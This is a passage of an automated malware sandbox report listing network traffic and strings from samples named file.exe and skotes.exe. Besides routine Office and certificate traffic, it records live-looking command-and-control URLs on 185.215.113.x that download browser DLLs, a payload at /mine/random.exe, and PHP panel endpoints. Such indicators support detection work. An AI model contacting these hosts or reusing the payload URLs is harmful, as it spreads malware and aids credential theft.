Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 1b6ffe30-3a18-415b-810c-667c0ba7d4b3.tmp.8.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: assets2.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe0
Source: file.exe, 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllk
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllz
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll$
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllt
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.o
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZo
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpjor;
Source: file.exe, 00000000.00000002.1909730449.000000002356A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpz
Source: file.exe, 00000000.00000002.1872805672.0000000000929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: file.exe, 00000000.00000002.1872805672.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206g
Source: file.exe, 00000000.00000002.1873172118.0000000000EB7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206s.exe
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.2603228244.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001551000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3jf
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk3
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 0000001A.00000002.2603228244.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000001A.00000002.2603228244.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_434.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
